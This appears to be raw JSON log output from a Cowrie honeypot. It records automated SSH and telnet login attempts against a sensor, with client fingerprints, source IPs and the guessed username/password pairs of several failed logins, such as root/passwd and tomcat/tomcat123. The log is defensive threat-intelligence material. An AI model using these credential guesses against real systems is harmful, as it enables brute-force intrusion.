{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0b814f95662","protocol":"ssh","message":"New connection: 185.153.231.45:35864 (159.203.135.109:22) [session: f0b814f95662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:35.215156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:35.220037Z","src_ip":"185.153.231.45","session":"f0b814f95662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:35.349684Z","src_ip":"185.153.231.45","session":"f0b814f95662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:35.534941Z","src_ip":"125.16.27.190","session":"f52c6e6f1302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"q","password":"q","message":"login attempt [q/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:35.903104Z","src_ip":"185.153.231.45","session":"f0b814f95662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:37.036333Z","src_ip":"185.153.231.45","session":"f0b814f95662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39476,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc4f0d7fcbc","protocol":"ssh","message":"New connection: 45.153.34.114:39476 (159.203.135.109:22) [session: 5dc4f0d7fcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:39.982800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:39.989329Z","src_ip":"45.153.34.114","session":"5dc4f0d7fcbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:40.072856Z","src_ip":"45.153.34.114","session":"5dc4f0d7fcbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:40.504392Z","src_ip":"45.153.34.114","session":"5dc4f0d7fcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:41.594521Z","src_ip":"45.153.34.114","session":"5dc4f0d7fcbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":54004,"dst_ip":"159.203.135.109","dst_port":22,"session":"19bdc10bf520","protocol":"ssh","message":"New connection: 81.192.46.49:54004 (159.203.135.109:22) [session: 19bdc10bf520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:45.947156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:45.951860Z","src_ip":"81.192.46.49","session":"19bdc10bf520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:46.071419Z","src_ip":"81.192.46.49","session":"19bdc10bf520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nq123","message":"login attempt [root/nq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:46.578160Z","src_ip":"81.192.46.49","session":"19bdc10bf520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:47.700634Z","src_ip":"81.192.46.49","session":"19bdc10bf520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39480,"dst_ip":"159.203.135.109","dst_port":22,"session":"557195d82c17","protocol":"ssh","message":"New connection: 45.153.34.114:39480 (159.203.135.109:22) [session: 557195d82c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:48.069773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:48.074577Z","src_ip":"45.153.34.114","session":"557195d82c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:48.162643Z","src_ip":"45.153.34.114","session":"557195d82c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:48.426030Z","src_ip":"45.153.34.114","session":"557195d82c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:49.514294Z","src_ip":"45.153.34.114","session":"557195d82c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53542,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b4140b7b58","protocol":"ssh","message":"New connection: 45.153.34.114:53542 (159.203.135.109:22) [session: 95b4140b7b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:55.917194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:55.922387Z","src_ip":"45.153.34.114","session":"95b4140b7b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:56.014289Z","src_ip":"45.153.34.114","session":"95b4140b7b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:56.268432Z","src_ip":"45.153.34.114","session":"95b4140b7b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:57.354577Z","src_ip":"45.153.34.114","session":"95b4140b7b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45528,"dst_ip":"159.203.135.109","dst_port":22,"session":"94502a81f8e6","protocol":"ssh","message":"New connection: 45.153.34.114:45528 (159.203.135.109:22) [session: 94502a81f8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:03.882131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:03.886931Z","src_ip":"45.153.34.114","session":"94502a81f8e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:03.970714Z","src_ip":"45.153.34.114","session":"94502a81f8e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:04.260884Z","src_ip":"45.153.34.114","session":"94502a81f8e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:05.357325Z","src_ip":"45.153.34.114","session":"94502a81f8e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":50540,"dst_ip":"159.203.135.109","dst_port":22,"session":"62137a7039fc","protocol":"ssh","message":"New connection: 45.61.187.220:50540 (159.203.135.109:22) [session: 62137a7039fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:08.279135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:08.287094Z","src_ip":"45.61.187.220","session":"62137a7039fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:08.328660Z","src_ip":"45.61.187.220","session":"62137a7039fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:08.516726Z","src_ip":"45.61.187.220","session":"62137a7039fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57324,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45711d2043a","protocol":"telnet","message":"New connection: 74.91.213.120:57324 (159.203.135.109:23) [session: e45711d2043a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.031198Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":58302,"dst_ip":"159.203.135.109","dst_port":22,"session":"47dd3681f200","protocol":"ssh","message":"New connection: 107.0.200.227:58302 (159.203.135.109:22) [session: 47dd3681f200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.324434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.328853Z","src_ip":"107.0.200.227","session":"47dd3681f200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.360944Z","src_ip":"107.0.200.227","session":"47dd3681f200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ibm@123","message":"login attempt [root/ibm@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.529579Z","src_ip":"107.0.200.227","session":"47dd3681f200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:09.574522Z","src_ip":"45.61.187.220","session":"62137a7039fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:10.565341Z","src_ip":"107.0.200.227","session":"47dd3681f200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47248,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7558d7ca547","protocol":"ssh","message":"New connection: 45.153.34.114:47248 (159.203.135.109:22) [session: c7558d7ca547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:11.837704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:36:11.843484Z","src_ip":"45.153.34.114","session":"c7558d7ca547","protocol":"ssh"}
